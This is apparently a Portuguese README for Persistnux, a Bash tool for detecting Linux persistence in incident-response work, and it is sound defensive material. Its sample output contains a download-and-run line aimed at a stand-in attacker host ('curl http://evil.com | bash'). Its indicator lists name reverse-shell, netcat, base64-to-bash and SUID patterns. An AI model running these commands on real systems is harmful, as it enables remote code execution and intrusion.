
Persistnux — Updated!
Ferramenta de detecção de persistência em Linux baseada em Bash para investigações DFIR. Escaneia mais de 15 mecanismos de persistência (systemd, cron, módulos do kernel, SSH, contêineres) com pontuação de confiança e gera relatórios CSV/JSONL para análise forense.
Persistnux
Uma ferramenta abrangente de detecção de persistência em Linux para investigações de Resposta a Incidentes e Forense Digital (DFIR).
Visão Geral
Persistnux é uma ferramenta baseada em bash projetada para identificar mecanismos conhecidos de persistência em Linux usados por atacantes para manter acesso a sistemas comprometidos. Ela realiza verificações abrangentes no sistema e gera relatórios detalhados nos formatos CSV e JSONL para análise posterior.
Funcionalidades
- Detecção Abrangente: Cobre todos os principais mecanismos de persistência em Linux
- Análise ao Vivo: Executa diretamente em sistemas ativos com dependências mínimas
- Saída Detalhada: Gera relatórios CSV e JSONL com hashes de arquivos, metadados e pontuações de confiança
- Root e Não-Root: Funciona com ou sem privilégios root (com escopo limitado para não-root)
- Pronto para DFIR: Formatos de saída compatíveis com ferramentas e fluxos de trabalho DFIR comuns
- Pontuação de Suspeição: Pontuação de confiança automática (LOW, MEDIUM, HIGH, CRITICAL) baseada em indicadores
- Redução de Falsos Positivos: Integração com gerenciador de pacotes e lista de permissões de serviços conhecidos como seguros
- Análise Baseada em Tempo: Arquivos modificados recentemente recebem pontuações de confiança mais altas
- Correspondência de Padrões: Detecta reverse shells, padrões de download-e-execução, técnicas de ofuscação
Mecanismos de Persistência Detectados
1. Serviços Systemd
- Arquivos de serviço (
.service) em/etc/systemd/system,/lib/systemd/system,/usr/lib/systemd/system - Serviços systemd no nível do usuário
- Filtra serviços desabilitados e serviços sem ExecStart
- Detecta comandos ExecStart suspeitos
- Verifica a integridade dos pacotes de binários/scripts executados
2. Cron Jobs e Tarefas Agendadas
- Crontabs do sistema (
/etc/crontab,/etc/cron.d/*) - Diretórios de execução periódica (
/etc/cron.{daily,hourly,weekly,monthly}) - Crontabs de usuário para todos os usuários (modo root)
- At jobs
- Padrões de comando suspeitos em tarefas agendadas
- Arquivos ACL
/etc/cron.allowe/etc/cron.deny— entradas referenciando usuários inexistentes sinalizadas
3. Perfis de Shell e Arquivos RC
- Perfis do sistema (
/etc/profile,/etc/bash.bashrc,/etc/zshrc) - Scripts Profile.d (
/etc/profile.d/*) - Perfis de usuário (
.bashrc,.bash_profile,.zshrc,.profile, etc.) - Configurações do Fish shell
- Detecta comandos maliciosos em arquivos de perfil
4. Scripts Init e RC.local
/etc/rc.locale variantes- Scripts init SysV (
/etc/init.d) - Scripts de runlevel (
/etc/rc*.d) - Detecta comandos suspeitos de download/execução
5. Módulos do Kernel e Pré-carregamento de Bibliotecas
- Configurações LD_PRELOAD (
/etc/ld.so.preload) — cada biblioteca listada verificada via gerenciador de pacotes - Configurações do linker dinâmico (
/etc/ld.so.conf,/etc/ld.so.conf.d/) — integridade do arquivo de configuração + arquivos.soem caminhos não padrão verificados /etc/environmentLD_PRELOAD/LD_LIBRARY_PATH — arquivo de ambiente sinalizado HIGH; caminhos de bibliotecas referenciados verificados (não gerenciado/modificado → CRITICAL)- Parâmetros de módulos do kernel (
/etc/modprobe.d/,/etc/modprobe.conf) — integridade do arquivo; diretivasinstallanalisadas para alvos de comando suspeitos;blacklistde módulos de segurança (apparmor, selinux, seccomp) sinalizado HIGH - Configurações de carregamento automático de módulos do kernel (
/etc/modules,/etc/modules-load.d/) — integridade da configuração; nomes de módulos referenciados resolvidos para arquivos.koviamodinfoe verificados - Módulos do kernel carregados (
lsmod) — enumeração e verificação de integridade
6. Mecanismos Adicionais
- Entradas XDG autostart (
.config/autostart,/etc/xdg/autostart) — todos os diretórios home de usuários verificados quando root - Arquivos de ambiente do sistema (
/etc/environment) — caminhos de bibliotecas LD_PRELOAD/LD_LIBRARY_PATH verificados - Configurações sudoers e drop-ins (
/etc/sudoers,/etc/sudoers.d/) — padrões NOPASSWD/ALL → HIGH - PAM (Módulos de Autenticação Conectáveis):
- Todos os módulos
.soverificados via gerenciador de pacotes; diretivas@includeseguidas;/etc/pam.confincluído - Análise de scripts
pam_exec.so— scripts ausentes/suspeitos → CRITICAL - Detecção de relay
pam_python.so/pam_perl.so— script extraído e analisado - Detecção de arquivo hook
pam_script.soem/etc/security/ - Integridade do arquivo de configuração — configurações PAM modificadas pertencentes a pacotes → CRITICAL
- Verificação de bibliotecas LD_PRELOAD em
pam_env.confe~/.pam_environment - Varredura geral de
/etc/security/
- Todos os módulos
- Scripts MOTD (
/etc/update-motd.d/) — verificação de pacote; modificado → CRITICAL - Git credential helpers e configurações core.pager — análise de conteúdo para todos os usuários
- Web shells em diretórios web comuns
8. Persistência SSH
~/.ssh/authorized_keyspor usuário — chaves modificadas recentemente sinalizadas; opçãocommand=analisada para padrões suspeitos~/.ssh/rcpor usuário — presença sinalizada MEDIUM; conteúdo de reverse shell suspeito → HIGH/CRITICAL
9. Sequestro de Binários
- Verifica binários instalados do sistema contra o banco de dados de pacotes (
dpkg -Vno Debian/Ubuntu,rpm -Vano RHEL/CentOS) - Arquivos modificados em
/usr/bin,/usr/sbin,/bin,/sbin→ achado CRITICAL - Módulos PAM modificados em
/lib/security→ achado CRITICAL - Conffiles (arquivos de configuração do dpkg) são excluídos para evitar falsos positivos
10. Bootloader e Initramfs
- Injeção de parâmetro do kernel
init=no GRUB (/etc/default/grub,/etc/default/grub.d/*.cfg) - Scripts init descartados no nível root em
/ - Módulos initramfs do Dracut com hooks
pre-pivotescrevendo em/sysroot/etc/shadow - Scripts hook do initramfs-tools do Ubuntu em
/etc/initramfs-tools/scripts/e/hooks/ - Imagens
/boot/initrd.img-*modificadas recentemente (baseado em mtime)
11. Manipulação do Polkit (PolicyKit)
- Arquivos
.pklacomResultAny/ResultInactive/ResultActive=yesincondicional - Concessões de identidade curinga (
unix-user:*) - Arquivos
.rulescompolkit.Result.YESincondicional (Polkit >= 0.106 baseado em JavaScript)
12. D-Bus e NetworkManager
- Registro malicioso de serviço de sistema D-Bus
Exec=(/usr/share/dbus-1/system-services/) - Diretivas curinga de política D-Bus
allow own="*"ousend_destination="*" - Scripts do dispatcher do NetworkManager (
/etc/NetworkManager/dispatcher.d/)
13. Regras Udev
- Diretivas Udev
RUN+=executando comandos ou scripts arbitrários (/etc/udev/rules.d/,/lib/udev/rules.d/) - Regras injetadas em tempo de execução em
/run/udev/rules.d/ - Padrões de delegação
at/cronemRUN+=(desvio comum de restrição de foreground)
14. Fuga de Contêiner
- Contêineres Docker privilegiados (
--privileged,--pid=host) - Bind-mounts de
docker.sockem contêineres (controle total do host via API Docker) nsenter -t 1em entrypoints de contêineres ou Dockerfiles- Dockerfiles em diretórios graváveis por usuário contendo técnicas de fuga
15. Verificações Avançadas de Binários e Privilégios
- Varredura ativa do sistema de arquivos por SUID/SGID em diretórios do sistema
- Varredura de capacidades de arquivos via
getcap—cap_setuid+epem GTFOBins → CRITICAL - Sequestro de binários: originais renomeados (
.original,.old,.bak,.real) com scripts wrapper - Contas não root com UID 0 em
/etc/passwd - Mascaramento de shell via espaço à direita no campo shell de
/etc/passwd - Contas de sistema (UID 1-999) com arquivos
authorized_keysSSH
Instalação
# Clone o repositório
git clone https://github.com/seuusuario/persistnux.git
cd persistnux
# Torne o script executável
chmod +x persistnux.sh
Uso
Uso Básico (Análise ao Vivo)
# Execute com configurações padrão (mostra apenas achados suspeitos)
sudo ./persistnux.sh
# Mostra ajuda e todas as opções
./persistnux.sh --help
# Execute como usuário comum (escopo limitado)
./persistnux.sh
Opções de Filtro (v2.4+)
Por padrão, o Persistnux mostra apenas achados suspeitos (confiança MEDIUM, HIGH, CRITICAL) para reduzir ruído e focar em ameaças acionáveis.
# Padrão: Mostra apenas achados suspeitos
sudo ./persistnux.sh
# Mostra todos os achados, incluindo linha de base (confiança LOW)
sudo ./persistnux.sh --all
# OU
sudo FILTER_MODE=all ./persistnux.sh
# Mostra apenas achados de confiança HIGH e CRITICAL
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Combina filtros: apenas confiança HIGH
sudo ./persistnux.sh --min-confidence HIGH
Diretório de Saída Personalizado
# Especifica diretório de saída personalizado
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Combina com filtragem
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
Arquivos de Saída
Por padrão, o Persistnux cria um diretório de saída ./persistnux_output/ contendo:
persistnux_<hostname>_<timestamp>.csv- Relatório no formato CSVpersistnux_<hostname>_<timestamp>.jsonl- Relatório no formato JSONL (um objeto JSON por linha)persistnux_<hostname>_<timestamp>_report.txt- Relatório resumido legível por humanos com contagens de achados e metadados da varredura
Formato de Saída
Formato CSV
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
Formato JSONL
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
Campos Chave de Saída
- matched_pattern: O padrão de detecção que acionou o achado (ex.:
suspicious_script_content,modified_package,unmanaged_binary) - matched_string: O conteúdo suspeito real encontrado (linha completa, não apenas palavra-chave)
Pontuação de Confiança
O Persistnux usa pontuação de confiança inteligente para reduzir falsos positivos:
- LOW: Configuração padrão do sistema, baixa suspeição (geralmente arquivos gerenciados por pacotes)
- MEDIUM: Potencialmente suspeito, mas pode ser legítimo
- HIGH: Padrões suspeitos detectados (ex.: curl/wget em cron, execução em /tmp, reverse shells)
- CRITICAL: Evidência definitiva de adulteração — falha na verificação de integridade do pacote, SUID/SGID em arquivo suspeito, anomalia em módulo PAM, gerador systemd em local efêmero ou código de interpretador inline com payload de alta entropia
Redução de Falsos Positivos (v1.2+)
O Persistnux agora inclui vários recursos para reduzir falsos positivos:
- Integração com Gerenciador de Pacotes: Arquivos gerenciados por
dpkg(Debian/Ubuntu) ourpm(RedHat/CentOS) recebem pontuações de confiança menores - Lista de Permissões de Serviços Conhecidos como Seguros: Serviços comuns de fornecedores (systemd-, dbus-, snap.*, etc.) são automaticamente ignorados
- Pontuação Baseada em Tempo: Arquivos modificados recentemente (<7 dias) recebem pontuações de confiança mais altas
- Análise Consciente de Contexto: Combina múltiplos indicadores para detecção mais precisa
Indicadores Suspeitos
O Persistnux sinaliza automaticamente itens com maior confiança quando detecta:
Padrões Baseados em Rede
- Reverse shells:
bash -i >& /dev/tcp/,sh -i >& /dev/udp/ - Ferramentas de rede:
nc,netcat,socat,telnet - Operações de socket em linguagens de script:
python -c 'import socket'
Padrões de Download e Execução
- Ferramentas de download:
curl | bash,wget | sh - Download com execução:
curl URL -o /tmp/file && chmod +x
Técnicas de Ofuscação
- Codificação:
base64 -d | bash,eval $(echo BASE64) - Execução dinâmica:
eval,exec
Localizações Suspeitas
- Diretórios temporários:
/tmp,/dev/shm,/var/tmp - Diretórios e arquivos ocultos
Manipulação de Permissões
- Tornar arquivos executáveis:
chmod +x,chmod 777 - Manipulação de bit SUID:
chmod u+s
Requisitos
- Bash 4.0+
- Utilitários Unix padrão:
find,grep,stat,sha256sum,awk,file - Opcionais:
systemctl,lsmod,modinfo,getcap,dpkg/rpm(para verificações específicas) - Sem dependência de interpretador (bash puro + coreutils; sem necessidade de
python/jq) - Acesso root/sudo recomendado para análise abrangente
Testado Em / Compatibilidade
| Distribuição | Status | Observações |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ Testado | Plataforma principal de desenvolvimento e teste |
| Ubuntu 20.04 LTS | ✅ Testado | Totalmente suportado |
| Debian 11/12 | ✅ Testado | Baseado em dpkg, mesmas convenções de caminho |
| Kali Linux (rolling) | ✅ Testado | Usado no benchmark de detecção PANIX (veja abaixo) |
| RedHat / RHEL | ⚠️ Ainda não testado | Suporte a rpm implementado, mas não verificado em sistemas ativos |
| Fedora | ⚠️ Ainda não testado | Suporte a rpm implementado, mas não verificado em sistemas ativos |
| CentOS / AlmaLinux / Rocky | ⚠️ Ainda não testado | Suporte a rpm implementado, mas não verificado em sistemas ativos |
Nota: A ferramenta é testada principalmente em sistemas Ubuntu/Debian. As distribuições RedHat, Fedora e baseadas em RPM têm suporte ao gerenciador de pacotes implementado no código, mas não foram validadas em ambientes de teste ativos. Contribuições e relatórios de teste para distribuições baseadas em RPM são bem-vindos.
Teste / Benchmark
O Persistnux é comparado com o PANIX,
que instala os mesmos mecanismos de persistência que o Persistnux caça. O
teste repetível em tests/panix_benchmark.sh aplica
cada técnica do PANIX, executa o Persistnux e confirma a detecção via diff de
linha de base. Toda técnica PANIX baseada em arquivo que se aplica na máquina
de teste é detectada com confiança MEDIUM+. Veja PANIX_BENCHMARK.md para a
tabela de cobertura completa e metodologia.
⚠️ O benchmark instala backdoors reais — execute apenas em uma VM descartável.
Roadmap
- Modo de análise offline para imagens de disco forenses
- Integração com coleta UAC (Unified Artifacts Collector)
- Estender o benchmark PANIX para vetores de bootloader/initramfs/LKM em uma VM completa
Recursos
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
Contribuindo
Contribuições são bem-vindas! Sinta-se à vontade para enviar pull requests ou abrir issues para:
- Detecção de novos mecanismos de persistência
- Correções de bugs
- Melhorias na documentação
- Otimizações de desempenho
- Formatos de saída adicionais
Licença
Licença MIT - Consulte o arquivo LICENSE para detalhes
Agradecimentos
Desenvolvido para a comunidade DFIR para auxiliar na resposta a incidentes Linux e investigações forenses.
Aviso Legal
Esta ferramenta é destinada apenas para testes de segurança autorizados, resposta a incidentes e análise forense. Os usuários são responsáveis por garantir que possuem autorização adequada antes de executar esta ferramenta em qualquer sistema.
Contato
Para dúvidas, problemas ou contribuições, use o rastreador de issues do GitHub.